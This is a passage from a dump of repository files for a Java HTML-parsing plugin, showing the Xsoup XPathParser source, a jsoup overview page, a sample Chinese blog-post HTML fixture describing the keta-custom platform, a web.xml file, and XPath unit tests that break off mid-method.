    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Stack;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\nimport org.jsoup.helper.Validate;\nimport org.jsoup.select.Evaluator;\nimport org.jsoup.select.Selector;\n\nimport com.jun.plugin.xsoup.XPathEvaluator;\nimport com.jun.plugin.xsoup.XTokenQueue;\n\n/**\n * Parser of XPath.\n *\n * @author code4crafter@gmail.com\n */\npublic class XPathParser {\n\n    private static final String[] COMBINATORS = new String[] {\"//\", \"/\", \"|\"};\n\n    private static final String[] ESCAPED_QUOTES = new String[] {\"\\\\\\\"\", \"\\\\'\"};\n\n    private static final String[] QUOTES = new String[] {\"\\\"\", \"'\"};\n\n    private static final String[] HIERARCHY_COMBINATORS = new String[] {\"//\", \"/\", \"|\"};\n\n    private static final Map<String, FunctionEvaluator> FUNCTION_MAPPING = new HashMap<String, FunctionEvaluator>();\n    private static final String OR_COMBINATOR = \"|\";\n\n    static {\n        FUNCTION_MAPPING.put(\"contains\", new FunctionEvaluator() {\n            @Override\n            public Evaluator call(String... param) {\n                Validate.isTrue(param.length == 2, String.format(\"Error argument of %s\", \"contains\"));\n                return new Evaluator.AttributeWithValueContaining(param[0], param[1]);\n            }\n        });\n        FUNCTION_MAPPING.put(\"starts-with\", new FunctionEvaluator() {\n            @Override\n            public Evaluator call(String... param) {\n                Validate.isTrue(param.length == 2, String.format(\"Error argument of %s\", \"starts-with\"));\n                return new Evaluator.AttributeWithValueStarting(param[0], param[1]);\n            }\n        });\n        FUNCTION_MAPPING.put(\"ends-with\", new FunctionEvaluator() {\n            @Override\n            public Evaluator call(String... param) {\n                Validate.isTrue(param.length == 2, String.format(\"Error argument of %s\", \"ends-with\"));\n                return new Evaluator.AttributeWithValueEnding(param[0], param[1]);\n            }\n        });\n    }\n\n    private XTokenQueue tq;\n    private String query;\n    private List<Evaluator> evals = new ArrayList<Evaluator>();\n    private ElementOperator elementOperator;\n    private boolean noEvalAllow = false;\n    private Pattern patternForText = Pattern.compile(\"text\\\\((\\\\d*)\\\\)\");\n\n    public XPathParser(String xpathStr) {\n        this.query = xpathStr;\n        this.tq = new XTokenQueue(xpathStr);\n    }\n\n    public static XPathEvaluator parse(String xpathStr) {\n        XPathParser xPathParser = new XPathParser(xpathStr);\n        return xPathParser.parse();\n    }\n\n    public XPathEvaluator parse() {\n\n        while (!tq.isEmpty()) {\n            Validate.isFalse(noEvalAllow, \"XPath error! No operator allowed after attribute or function!\" + tq);\n            if (tq.matchChomp(OR_COMBINATOR)) {\n                tq.consumeWhitespace();\n                return combineXPathEvaluator(tq.remainder());\n            }\n            else if (tq.matchesAny(HIERARCHY_COMBINATORS)) {\n                combinator(tq.consumeAny(HIERARCHY_COMBINATORS));\n            }\n            else {\n                findElements();\n            }\n            tq.consumeWhitespace();\n        }\n        return collectXPathEvaluator();\n    }\n\n    private XPathEvaluator combineXPathEvaluator(String subQuery) {\n        XPathEvaluator xPathEvaluator = collectXPathEvaluator();\n        return new CombingXPathEvaluator(xPathEvaluator, parse(subQuery));\n    }\n\n    private XPathEvaluator collectXPathEvaluator() {\n        if (noEvalAllow) {\n            return new DefaultXPathEvaluator(null, elementOperator);\n        }\n\n        if (evals.size() == 1) return new DefaultXPathEvaluator(evals.get(0), elementOperator);\n\n        return new DefaultXPathEvaluator(new CombiningEvaluator.And(evals), elementOperator);\n    }\n\n    private void combinator(String combinator) {\n        Evaluator currentEval;\n        if (evals.size() == 0) {\n            currentEval = new StructuralEvaluator.Root();\n        }\n        else if (evals.size() == 1) {\n            currentEval = evals.get(0);\n        }\n        else {\n            currentEval = new CombiningEvaluator.And(evals);\n        }\n        evals.clear();\n        String subQuery = consumeSubQuery();\n        XPathEvaluator tmpEval = parse(subQuery);\n        if (!(tmpEval instanceof DefaultXPathEvaluator)) {\n            throw new IllegalArgumentException(String.format(\"Error XPath in %s\", subQuery));\n        }\n        DefaultXPathEvaluator newEval = (DefaultXPathEvaluator) tmpEval;\n        if (newEval.getElementOperator() != null) {\n            elementOperator = newEval.getElementOperator();\n        }\n        // attribute expr does not return Evaluator\n        if (newEval.getEvaluator() != null) {\n            if (combinator.equals(\"//\")) {\n                currentEval =\n                    new CombiningEvaluator.And(newEval.getEvaluator(), new StructuralEvaluator.Parent(currentEval));\n            }\n            else if (combinator.equals(\"/\")) {\n                currentEval =\n                    new CombiningEvaluator.And(newEval.getEvaluator(), new StructuralEvaluator.ImmediateParent(currentEval));\n            }\n        }\n        evals.add(currentEval);\n    }\n\n    private String consumeSubQuery() {\n        StringBuilder sq = new StringBuilder();\n        while (!tq.isEmpty()) {\n            tq.consumeWhitespace();\n            if (tq.matches(\"(\")) {\n                sq.append(\"(\").append(tq.chompBalanced('(', ')')).append(\")\");\n            }\n            else if (tq.matches(\"[\")) {\n                sq.append(\"[\").append(tq.chompBalanced('[', ']')).append(\"]\");\n            }\n            else if (tq.matchesAny(ESCAPED_QUOTES)) {\n                sq.append(tq.consumeAny(ESCAPED_QUOTES));\n            }\n            else if (tq.matchesAny(QUOTES)) {\n                sq.append(tq.chompBalancedQuotes());\n            }\n            else if (tq.matchesAny(COMBINATORS)) {\n                break;\n            }\n            else if (!tq.isEmpty()) {\n                sq.append(tq.consume());\n            }\n        }\n        return sq.toString();\n    }\n\n    private void findElements() {\n        if (tq.matches(\"@\")) {\n            consumeAttribute();\n        }\n        else if (tq.matches(\"*\")) {\n            allElements();\n        }\n        else if (tq.matchesRegex(\"\\\\w+\\\\(.*\\\\).*\")) {\n            consumeOperatorFunction();\n        }\n        else if (tq.matchesWord()) {\n            byTag();\n        }\n        else if (tq.matchesRegex(\"\\\\[\\\\d+\\\\]\")) {\n            byNth();\n        }\n        else if (tq.matches(\"[\")) {\n            evals.add(consumePredicates(tq.chompBalanced('[', ']')));\n        }\n        else {\n            // unhandled\n            throw new Selector.SelectorParseException(\"Could not parse query '%s': unexpected token at '%s'\", query, tq.remainder());\n        }\n    }\n\n    private Evaluator consumePredicates(String queue) {\n        XTokenQueue predicatesQueue = new XTokenQueue(queue);\n        EvaluatorStack evaluatorStack = new EvaluatorStack();\n        Operation currentOperation = null;\n        predicatesQueue.consumeWhitespace();\n        while (!predicatesQueue.isEmpty()) {\n            if (predicatesQueue.matchChomp(\"and\")) {\n                currentOperation = Operation.AND;\n            }\n            else if (predicatesQueue.matchChomp(\"or\")) {\n                currentOperation = Operation.OR;\n            }\n            else {\n                if (currentOperation == null && evaluatorStack.size() > 0) {\n                    throw new IllegalArgumentException(String.format(\"Need AND/OR between two predicate! %s\", predicatesQueue.remainder()));\n                }\n                Evaluator evaluator;\n                if (predicatesQueue.matches(\"(\")) {\n                    evaluator = consumePredicates(predicatesQueue.chompBalanced('(', ')'));\n                }\n                else if (predicatesQueue.matches(\"@\")) {\n                    evaluator = byAttribute(predicatesQueue);\n                }\n                else if (predicatesQueue.matchesRegex(\"\\\\w+.*\")) {\n                    evaluator = byFunction(predicatesQueue);\n                }\n                else {\n                    throw new Selector.SelectorParseException(\"Could not parse query '%s': unexpected token at '%s'\", query, predicatesQueue.remainder());\n                }\n                evaluatorStack.calc(evaluator, currentOperation);\n                //consume operator\n                currentOperation = null;\n            }\n            predicatesQueue.consumeWhitespace();\n        }\n        evaluatorStack.mergeOr();\n        return evaluatorStack.peek();\n    }\n\n    private Evaluator byFunction(XTokenQueue predicatesQueue) {\n        for (Map.Entry<String, FunctionEvaluator> entry : FUNCTION_MAPPING.entrySet()) {\n            if (predicatesQueue.matchChomp(entry.getKey())) {\n                String paramString = predicatesQueue.chompBalanced('(', ')');\n                List<String> params = XTokenQueue.trimQuotes(XTokenQueue.parseFuncionParams(paramString));\n\n                if (params.get(0).startsWith(\"@\")) {\n                    params.set(0, params.get(0).substring(1));\n                    return entry.getValue().call(params.toArray(new String[0]));\n                }\n                else {\n                    return null;\n                }\n            }\n        }\n\n        throw new Selector.SelectorParseException(\"Could not parse query '%s': unexpected token at '%s'\", query, predicatesQueue.remainder());\n    }\n\n    private void allElements() {\n        tq.consume();\n        evals.add(new Evaluator.AllElements());\n    }\n\n    private void byNth() {\n        String nth = tq.chompBalanced('[', ']');\n        evals.add(new XEvaluators.IsNthOfType(0, Integer.parseInt(nth)));\n    }\n\n    private void consumeAttribute() {\n        tq.consume(\"@\");\n        elementOperator = new ElementOperator.AttributeGetter(tq.remainder());\n        noEvalAllow = true;\n    }\n\n    private void consumeOperatorFunction() {\n        String remainder = consumeSubQuery();\n        if (remainder.startsWith(\"text(\")) {\n            functionText(remainder);\n        }\n        else if (remainder.startsWith(\"regex(\")) {\n            functionRegex(remainder);\n        }\n        else if (remainder.equals(\"allText()\")) {\n            elementOperator = new ElementOperator.AllText();\n        }\n        else if (remainder.equals(\"tidyText()\")) {\n            elementOperator = new ElementOperator.TidyText();\n        }\n        else if (remainder.equals(\"html()\")) {\n            elementOperator = new ElementOperator.Html();\n        }\n        else if (remainder.equals(\"outerHtml()\")) {\n            elementOperator = new ElementOperator.OuterHtml();\n        }\n        else {\n            throw new IllegalArgumentException(\"Unsupported function \" + remainder);\n        }\n        if (elementOperator != null) {\n            noEvalAllow = true;\n        }\n    }\n\n    private void functionRegex(String remainder) {\n        Validate.isTrue(remainder.endsWith(\")\"), \"Unclosed bracket for function! \" + remainder);\n        List<String> params =\n            XTokenQueue.trimQuotes(XTokenQueue.parseFuncionParams(remainder.substring(\"regex(\".length(), remainder.length()\n                - 1)));\n        if (params.size() == 1) {\n            elementOperator = new ElementOperator.Regex(params.get(0));\n        }\n        else if (params.size() == 2) {\n            if (params.get(0).startsWith(\"@\")) {\n                elementOperator = new ElementOperator.Regex(params.get(1), params.get(0).substring(1));\n            }\n            else {\n                elementOperator = new ElementOperator.Regex(params.get(0), null, Integer.parseInt(params.get(1)));\n            }\n        }\n        else if (params.size() == 3) {\n            elementOperator =\n                new ElementOperator.Regex(params.get(1), params.get(0).substring(1), Integer.parseInt(params.get(2)));\n        }\n        else {\n            throw new Selector.SelectorParseException(\"Unknown usage for regex()\" + remainder);\n        }\n    }\n\n    private void functionText(String remainder) {\n        Matcher matcher = patternForText.matcher(remainder);\n        if (matcher.matches()) {\n            int attributeGroup;\n            String group = matcher.group(1);\n            if (group.equals(\"\")) {\n                attributeGroup = 0;\n            }\n            else {\n                attributeGroup = Integer.parseInt(group);\n            }\n            elementOperator = new ElementOperator.GroupedText(attributeGroup);\n        }\n    }\n\n    private void byTag() {\n        String tagName = tq.consumeElementSelector();\n        Validate.notEmpty(tagName);\n\n        // namespaces: if element name is \"abc:def\", selector must be \"abc|def\", so flip:\n        if (tagName.contains(\"|\")) tagName = tagName.replace(\"|\", \":\");\n\n        evals.add(new Evaluator.Tag(tagName.trim().toLowerCase()));\n    }\n\n    private Evaluator byAttribute(XTokenQueue cq) {\n        cq.matchChomp(\"@\");\n        String key =\n            cq.consumeToAny(\"=\", \"!=\", \"^=\", \"$=\", \"*=\", \"~=\"); // eq, not, start, end, contain, match, (no val)\n        Validate.notEmpty(key);\n        cq.consumeWhitespace();\n        Evaluator evaluator;\n        if (cq.isEmpty()) {\n            if (\"*\".equals(key)) {\n                evaluator = new XEvaluators.HasAnyAttribute();\n            }\n            else {\n                evaluator = new Evaluator.Attribute(key);\n            }\n        }\n        else {\n            if (cq.matchChomp(\"=\")) {\n                String value = chompEqualValue(cq);\n                //to support select one class out of all\n                if (key.equals(\"class\")) {\n                    String className = XTokenQueue.trimQuotes(value);\n                    if (!className.contains(\" \")) {\n                        evaluator = new Evaluator.Class(className);\n                    }\n                    else {\n                        evaluator = new Evaluator.AttributeWithValue(key, className);\n                    }\n                }\n                else {\n                    evaluator = new Evaluator.AttributeWithValue(key, XTokenQueue.trimQuotes(value));\n                }\n            }\n            else if (cq.matchChomp(\"!=\")) {\n                evaluator = new Evaluator.AttributeWithValueNot(key, XTokenQueue.trimQuotes(chompEqualValue(cq)));\n            }\n\n            else if (cq.matchChomp(\"^=\")) {\n                evaluator = new Evaluator.AttributeWithValueStarting(key, XTokenQueue.trimQuotes(chompEqualValue(cq)));\n            }\n\n            else if (cq.matchChomp(\"$=\")) {\n                evaluator = new Evaluator.AttributeWithValueEnding(key, XTokenQueue.trimQuotes(chompEqualValue(cq)));\n            }\n\n            else if (cq.matchChomp(\"*=\")) {\n                evaluator =\n                    new Evaluator.AttributeWithValueContaining(key, XTokenQueue.trimQuotes(chompEqualValue(cq)));\n            }\n\n            else if (cq.matchChomp(\"~=\")) {\n                evaluator =\n                    new Evaluator.AttributeWithValueMatching(key, Pattern.compile(XTokenQueue.trimQuotes(chompEqualValue(cq))));\n            }\n            else {\n                throw new Selector.SelectorParseException(\"Could not parse attribute query '%s': unexpected token at '%s'\", query, chompEqualValue(cq));\n            }\n        }\n        return evaluator;\n    }\n\n    private String chompEqualValue(XTokenQueue cq) {\n        String value;\n        if (cq.matchChomp(\"'\")) {\n            value = cq.chompTo(\"'\");\n        }\n        else if (cq.matchChomp(\"\\\"\")) {\n            value = cq.chompTo(\"\\\"\");\n        }\n        else if (cq.containsAny(\" \")) {\n            value = cq.chompTo(\" \");\n        }\n        else {\n            value = cq.remainder();\n        }\n        return value;\n    }\n\n    enum Operation {\n        AND,\n        OR\n    }\n\n    interface FunctionEvaluator {\n        Evaluator call(String... param);\n    }\n\n    /**\n     * EvaluatorStack for logic calculate.\n     * Priority: AND &gt; OR, Regardless of bracket.\n     * <br>\n     * Calculate AND immediately.\n     * Store evaluator with OR, until there are two evaluator in stack, then calculate it.\n     */\n    static class EvaluatorStack extends Stack<Evaluator> {\n\n        public void calc(Evaluator evaluator, Operation operation) {\n            if (size() == 0) {\n                push(evaluator);\n            }\n            else {\n                if (operation == Operation.AND) {\n                    evaluator = new CombiningEvaluator.And(pop(), evaluator);\n                }\n                else {\n                    mergeOr();\n                }\n                push(evaluator);\n            }\n        }\n\n        public void mergeOr() {\n            if (size() >= 2) {\n                Evaluator pop1 = pop();\n                Evaluator pop2 = pop();\n                Evaluator tempEvaluator = new CombiningEvaluator.Or(pop2, pop1);\n                push(tempEvaluator);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/javadoc/overview.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <title>jsoup Javadoc overview</title>\n</head>\n<body>\n<h1>jsoup: Java HTML parser that makes sense of real-world HTML soup.</h1>\n\n<p><b>jsoup</b> is a Java library for working with real-world HTML. It provides a very convenient API\nfor extracting and manipulating data, using the best of DOM, CSS, and jquery-like methods.</p>\n\n<p>jsoup implements the <a href=\"http://whatwg.org/html\">WHATWG HTML</a> specification, and parses HTML to the same DOM\nas modern browsers do.</p>\n\n<ul>\n<li>parse HTML from a URL, file, or string\n<li>find and extract data, using DOM traversal or CSS selectors\n<li>manipulate the HTML elements, attributes, and text\n<li>clean user-submitted content against a safe white-list, to prevent XSS\n<li>output tidy HTML\n</ul>\n\n<p>jsoup is designed to deal with all varieties of HTML found in the wild; from pristine and validating,\nto invalid tag-soup; jsoup will create a sensible parse tree.</p>\n\n<p>See <a href=\"http://jsoup.org/\"><b>jsoup.org</b></a> for downloads, documentation, and examples...</p>\n\n@author <a href=\"http://jonathanhedley.com/\">Jonathan Hedley</a>\n\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/resources/content.html",
    "content": "<article id=\"post-28\" class=\"post type-post status-publish format-standard hentry\">\n\t<header class=\"entry-header\">\n\t<h1 class=\"entry-title\">keta-custom</h1>\n\t<div class=\"comments-link\"> \n\t\t\t<a href=\"#respond\" title=\"keta-custom\"><span class=\"leave-reply\">发表回复</span></a>\n\t\t<div class=\"leave-reply\" style=\"float:right;\">11 views</div>\n\t</div>\n\t<!-- .comments-link --> \n  \t</header>\n  \t<!-- .entry-header -->\n  \n  \t<div class=\"entry-content\">\n\t<div id=\"head\" style=\"color:#333333;font-family:Helvetica, arial, freesans, clean, sans-serif;font-size:13px;font-style:normal;font-weight:normal;text-align:start;background-color:#FFFFFF;\">\n\t<h1 class=\"instapaper_title\" style=\"font-size:30px;\">\n\t\t项目介绍\n\t</h1>\n</div>\n<div id=\"wiki-content\" style=\"color:#333333;font-family:Helvetica, arial, freesans, clean, sans-serif;font-size:13px;font-style:normal;font-weight:normal;text-align:start;background-color:#FFFFFF;\">\n\t<div class=\"wrap\">\n\t\t<div id=\"wiki-body\" class=\"gollum-markdown-content instapaper_body\">\n\t\t\t<div class=\"markdown-body\" style=\"font-size:15px;padding:0px 30px;margin:0px -30px;\">\n\t\t\t\t<p style=\"margin-left:0px;\">\n\t\t\t\t\tketa-custom(原keta-security)是一个通用的定制化平台，解决了在web程序再开发过程中遇见的通用功能重复，界面风格迥异；安全无保障，质量无保 障等问题。该平台使用了maven作为项目管理，使用了web开发流行的框架便于学习使用，具体使用了spring、springmvc、spring ache （安全）shiro、hibernate、freemark等框架，为了统一页面风格使用DWZ作为页面富客户端的展示。\n\t\t\t\t</p>\n\t\t\t\t<hr />\n\t\t\t\t<h1 style=\"font-size:2.5em;font-weight:bold;\">\n\t\t\t\t\t<a name=\"它的优势\" class=\"anchor\" href=\"https://github.com/ketayao/keta-custom/wiki/%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D#%E5%AE%83%E7%9A%84%E4%BC%98%E5%8A%BF\"></a>它的优势：\n\t\t\t\t</h1>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t项目构建简单，页面风格统一，可快速定制页面。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t使用了Apache Shiro，大大提高了系统的安全性，使用了缓存技术，提升了页面响应速度。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t框架中实现定制项目的基本功能，用户管理、组织管理、角色管理、模块管理、页面主框架等。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t提供了激活超级用户的功能（id=1的用户自动拥有所有权限），方便测试、开发（生成环境建议关闭该功能）。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t提供页面自动化测试以及代码检查等功能，能快速、准确生成代码检查报告。 ***\n\t\t\t\t\t</li>\n\t\t\t\t</ol>\n\t\t\t\t<h1 style=\"font-size:2.5em;font-weight:bold;\">\n\t\t\t\t\t<a name=\"模块作用\" class=\"anchor\" href=\"https://github.com/ketayao/keta-custom/wiki/%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D#%E6%A8%A1%E5%9D%97%E4%BD%9C%E7%94%A8\"></a>模块作用：\n\t\t\t\t</h1>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t组织管理：组织是树状结构的，能无限制多层建立组织结构，每个组织下可以挂靠多个用户，组织可以分配多个角色。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t用户管理：使用了密码加密，状态控制，一个用户可以拥有多个角色。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t模块管理（即菜单管理）：模块也是树状结构，可以建立多层次，模块中可以自定义权限（除CRUD以外的种种）。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t角色管理：角色可以任意分配模块的权限（权限做到了url控制和方法控制）。\n\t\t\t\t\t</li>\n\t\t\t\t</ol>\n\t\t\t\t<hr />\n\t\t\t\t<h1 style=\"font-size:2.5em;font-weight:bold;\">\n\t\t\t\t\t<a name=\"运行手册\" class=\"anchor\" href=\"https://github.com/ketayao/keta-custom/wiki/%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D#%E8%BF%90%E8%A1%8C%E6%89%8B%E5%86%8C\"></a>运行手册\n\t\t\t\t</h1>\n\t\t\t\t<h2 style=\"font-size:2em;font-weight:bold;\">\n\t\t\t\t\t<a name=\"eclipsemyeclipse中源码运行\" class=\"anchor\" href=\"https://github.com/ketayao/keta-custom/wiki/%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D#eclipsemyeclipse%E4%B8%AD%E6%BA%90%E7%A0%81%E8%BF%90%E8%A1%8C\"></a>eclipse（myeclipse）中源码运行\n\t\t\t\t</h2>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t导入maven项目（当然要安装maven插件咯），导入相关依赖包\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t创建mysql数据库keta_custom，导入测试数据security\\src\\main\\resources\\sql\\mysql\\keta_custom.sql\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t运行keta-custom\\src\\test\\java\\com\\ketayao\\ketacustom\\test\\QuickStartServer.java\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t访问地址：localhost:9090/keta-custom\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t用户名：admin 密码：123456（默认激活了超级用户，admin拥有所有权限）\n\t\t\t\t\t</li>\n\t\t\t\t</ol>\n\t\t\t\t<h2 style=\"font-size:2em;font-weight:bold;\">\n\t\t\t\t\t<a name=\"服务器tomcat等war运行\" class=\"anchor\" href=\"https://github.com/ketayao/keta-custom/wiki/%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D#%E6%9C%8D%E5%8A%A1%E5%99%A8tomcat%E7%AD%89war%E8%BF%90%E8%A1%8C\"></a>服务器（tomcat等）war运行\n\t\t\t\t</h2>\n\t\t\t\t<ol style=\"margin-left:0px;\">\n\t\t\t\t\t<li>\n\t\t\t\t\t\t创建mysql数据库keta_custom，导入测试数据security\\src\\main\\resources\\sql\\mysql\\keta_custom.sql\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t丢进你的web容器（tomcat等等）。\n\t\t\t\t\t</li>\n\t\t\t\t\t<li>\n\t\t\t\t\t\t输入你的地址，用户名：admin 密码：123456（默认激活了超级用户，admin拥有所有权限）\n\t\t\t\t\t</li>\n\t\t\t\t</ol>\n\t\t\t\t<p>\n\t\t\t\t\t<br />\n\t\t\t\t</p>\n\t\t\t\t<p>\n\t\t\t\t\t了解更多详见：<a href=\"https://github.com/ketayao/keta-custom\">https://github.com/ketayao/keta-custom</a> \n\t\t\t\t</p>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n</div>\n\t</div>\n  \t<!-- .entry-content -->\n  \n\t<footer class=\"entry-meta\"> 本条目发布于\n\t<a href=\"/view/28\" title=\"9/3/13 5:16 PM\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"2013-09-03 17:16:01\">2013年09月03日</time></a>。\n\t属于<a href=\"/archive/category/9\" title=\"查看我的开源中的全部文章\" rel=\"category tag\">我的开源</a>分类\n\t，被贴了\n\t\t<a href=\"/archive/tag/11\" rel=\"tag\">keta-custom</a>\n\t标签\n\t。\n\t<span class=\"\">作者是<span class=\"author vcard\"><a class=\"url fn n\" href=\"/archive/user/1\" title=\"查看所有由ketayao发布的文章\" rel=\"author\">ketayao</a></span>。</span> \n\t</footer>\n  <!-- .entry-meta --> \n</article>\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" \nxsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" \nid=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/java/com/jun/plugin/xsoup/XTokenQueueTest.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.xsoup.XTokenQueue;\n\nimport java.util.List;\n\nimport static org.assertj.core.api.Assertions.assertThat;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class XTokenQueueTest {\n\n    @Test\n    public void testParseFunctionParams(){\n        List<String> list = XTokenQueue.parseFuncionParams(\"a,b,c\");\n        assertThat(list).hasSize(3);\n\n        list = XTokenQueue.parseFuncionParams(\"'a,b',c\");\n        assertThat(list).hasSize(2);\n\n        list = XTokenQueue.parseFuncionParams(\"'a,\\\\'b',c\");\n        assertThat(list).hasSize(2);\n\n        list = XTokenQueue.parseFuncionParams(\"@a,1,c\");\n        assertThat(list).hasSize(3);\n\n    }\n\n    @Test\n    public void testChompBalancedQuotes() throws Exception {\n        XTokenQueue xTokenQueue = new XTokenQueue(\"\\\"aaaaa\\\"\");\n        String chomp = xTokenQueue.chompBalancedQuotes();\n        assertThat(chomp).isEqualTo(\"\\\"aaaaa\\\"\");\n\n        xTokenQueue = new XTokenQueue(\"\\\"aaaaa\\\"aabb\");\n        chomp = xTokenQueue.chompBalancedQuotes();\n        assertThat(chomp).isEqualTo(\"\\\"aaaaa\\\"\");\n\n        xTokenQueue = new XTokenQueue(\"a\\\"aaaaa\\\"aabb\");\n        chomp = xTokenQueue.chompBalancedQuotes();\n        assertThat(chomp).isEqualTo(\"\");\n\n    }\n\n    @Test\n    public void testChompBalancedInQuotes() throws Exception {\n        XTokenQueue xTokenQueue = new XTokenQueue(\"(\\\")\\\")\");\n        String chomp = xTokenQueue.chompBalancedNotInQuotes('(',')');\n        assertThat(chomp).isEqualTo(\"\\\")\\\"\");\n\n        xTokenQueue = new XTokenQueue(\"(\\\"')\\\")\");\n        chomp = xTokenQueue.chompBalancedNotInQuotes('(',')');\n        assertThat(chomp).isEqualTo(\"\\\"')\\\"\");\n\n        xTokenQueue = new XTokenQueue(\"(''')')\");\n        chomp = xTokenQueue.chompBalancedNotInQuotes('(',')');\n        assertThat(chomp).isEqualTo(\"''')'\");\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/java/com/jun/plugin/xsoup/XsoupTest.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.junit.Test;\n\nimport com.jun.plugin.xsoup.XElements;\nimport com.jun.plugin.xsoup.XPathEvaluator;\nimport com.jun.plugin.xsoup.Xsoup;\nimport com.jun.plugin.xsoup.xevaluator.XPathParser;\n\nimport java.util.List;\n\nimport static org.assertj.core.api.Assertions.assertThat;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class XsoupTest {\n\n    private String html = \"<html><body><div id='test'>aaa<div><a href=\\\"https://github.com\\\">github.com</a></div></div></body></html>\";\n\n    private String htmlClass = \"<html><body><div class='a b c'><div><a href=\\\"https://github.com\\\">github.com</a></div></div><div>b</div></body></html>\";\n\n    @Test\n    public void testSelect() {\n\n        String html = \"<html><div><a href='https://github.com'>github.com</a></div>\" +\n                \"<table><tr><td>a</td><td>b</td></tr></table></html>\";\n\n        Document document = Jsoup.parse(html);\n\n        String result = Xsoup.compile(\"//a/@href\").evaluate(document).get();\n        assertThat(result).isEqualTo(\"https://github.com\");\n\n        XPathEvaluator xPathEvaluator = Xsoup.compile(\"//tr/td/text()\");\n        List<String> list = xPathEvaluator.evaluate(document).list();\n        assertThat(list).contains(\"a\",\"b\");\n        assertThat(xPathEvaluator.hasAttribute()).isTrue();\n\n    }\n\n    @Test\n    public void testParent() {\n\n        Document document = Jsoup.parse(html);\n\n        String result = Xsoup.select(document, \"/html/body/div/div/a\").get();\n        assertThat(result).isEqualTo(\"<a href=\\\"https://github.com\\\">github.com</a>\");\n\n        result = Xsoup.select(document, \"/html//div/div/a\").get();\n        assertThat(result).isEqualTo(\"<a href=\\\"https://github.com\\\">github.com</a>\");\n\n        result = Xsoup.select(document, \"/html/div/div/a\").get();\n        assertThat(result).isNull();\n\n    }\n\n    @Test\n    public void testByAttribute() {\n\n        Document document = Jsoup.parse(html);\n\n        XPathEvaluator xPathEvaluator = XPathParser.parse(\"//a[@href]\");\n        assertThat(xPathEvaluator.hasAttribute()).isFalse();\n        XElements select = xPathEvaluator.evaluate(document);\n        assertThat(select.get()).isEqualTo(\"<a href=\\\"https://github.com\\\">github.com</a>\");\n\n        String result = Xsoup.select(document, \"//a[@id]\").get();\n        assertThat(result).isNull();\n\n        result = Xsoup.select(document, \"//div[@id=test]\").get();\n        String expectedDiv = \"<div id=\\\"test\\\">\\n\" +\n                \" aaa\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\";\n        assertThat(result).isEqualTo(expectedDiv);\n\n        result = Xsoup.select(document, \"//div[@id='test']\").get();\n        assertThat(result).isEqualTo(expectedDiv);\n        result = Xsoup.select(document, \"//div[@id=\\\"test\\\"]\").get();\n        assertThat(result).isEqualTo(expectedDiv);\n    }\n\n    @Test\n    public void testClass() {\n\n        Document document = Jsoup.parse(htmlClass);\n\n        String result = Xsoup.select(document, \"//div[@class=a]\").get();\n        assertThat(result).isEqualTo(\"<div class=\\\"a b c\\\">\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\");\n\n        result = Xsoup.select(document, \"//div[@class=d]\").get();\n        assertThat(result).isNull();\n\n    